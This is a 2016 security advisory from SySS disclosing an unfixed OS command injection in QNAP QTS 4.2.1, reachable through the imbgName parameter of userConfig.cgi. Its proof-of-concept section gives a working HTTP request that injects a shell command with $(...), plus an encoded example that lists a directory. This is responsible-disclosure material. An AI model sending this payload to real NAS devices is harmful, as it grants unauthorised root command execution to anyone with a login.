QNAP QTS 4.2.1 Build 20160601 imbgName Parameter Command Injection
Posted on 19 August 2016
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2016-052 Product: QNAP QTS Manufacturer: QNAP Affected Version(s): 4.2.1 Build 20160601 Tested Version(s): 4.2.1 Build 20160601 - 4.2.2 Build 20160812 Vulnerability Type: OS Command Injection (CWE-78) Risk Level: High Solution Status: unfixed Manufacturer Notification: 2016-06-06 Solution Date: tbd. Public Disclosure: 2016-08-18 CVE Reference: Not assigned Author of Advisory: Sebastian Nerz (SySS GmbH) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: QTS is the operating system used by manufacturer QNAP on its series of NAS devices[1]. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The SySS GmbH found an os command injection in the userConfig plugin of the current QTS administrative interface. This type of vulnerability allows an attacker to run arbitrary commands on the operating system of the host as root. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): 1. Log in to the QNAP. The user needs no special privileges. 2. Run a request like the following: == POST /cgi-bin/userConfig.cgi?imbgName=a$([command]).jpg&func=uploadBgImg&sid=[sid] HTTP/1.1 Host: [IP of the QNAP]:8080 Content-Type: multipart/form-data;boundary=foo Content-Length: 115 foo Content-Disposition: form-data; name="filename"; filename="foo.jpg" Content-Type: image/jpeg asdf foo-- == 3. The contained command will be exeucted. An example would be $(bash -c '(echo;ls) 1>&2') complete URL: /cgi-bin/userConfig.cgi?imbgName=a$(bash%20-c%20'(echo;ls)%201>%262')Img.jpg&func=uploadBgImg&sid=[sid] which will display the content of the current working directory (/home/httpd/cgi-bin) as content. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: The manufacturer has not released any security update or patch so far. Administrators of QNAP QTS 4.2 installations should ensure that only trusted users/administrators have access to the device. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2016-06-06: Vulnerability discovered and reported to manufacturer 2016-06-20: Vulnerability report confirmed by manufacturer 2016-07-06: Manufacturer asked for timeline regarding a fix 2016-07-18: Manufacturer reminded about upcoming public disclosure 2016-08-18: Public disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for QNAP QTS http://www.qnap.com/qts/4.2/en/ [2] SySS Security Advisory SYSS-2016-052 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-052.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: Security vulnerability found by Sebastian Nerz of the SySS GmbH. E-Mail: sebastian.nerz@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Sebastian_Nerz.asc Key ID: 0x9180FDB2 Key Fingerprint: 79DC 2CEC D18D F92F CBB4 AF09 D12D 26A4 9180 FDB2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEcBAEBCgAGBQJXtWVnAAoJENEtJqSRgP2ydicIAINK2g0OkT3PDOVzIz4tQKOL 0oz4npiC8V3PJOSG7bucwMY9J/HQBM8xuCQy6n+7NHMyEYeTOJEDv/RYYl93V4hU AvbQSDnQHGU3oS81jv5liLGbuRwwP0eemsjSauVoKBlRa3Aj5x0FBDkfmPVlxi+0 HBtNDKFZtd8zqPBwbtvpFvVM4Dk5NkmSdJLGNd9U3/OvNGyX7bUT0ajWli8uNLC9 IUR+4ppnHNlJt1VEX3nvOXEHjRucT5Pe9vwE17bDyj76y4zbuGb8XBTPiajNNrxU zshJRRdhdpZnVCG4+1l8D196bzNP3gFnmfstF9IqnNHxICUqyw0cK//4HFDgGRM= =qQT0 -----END PGP SIGNATURE-----
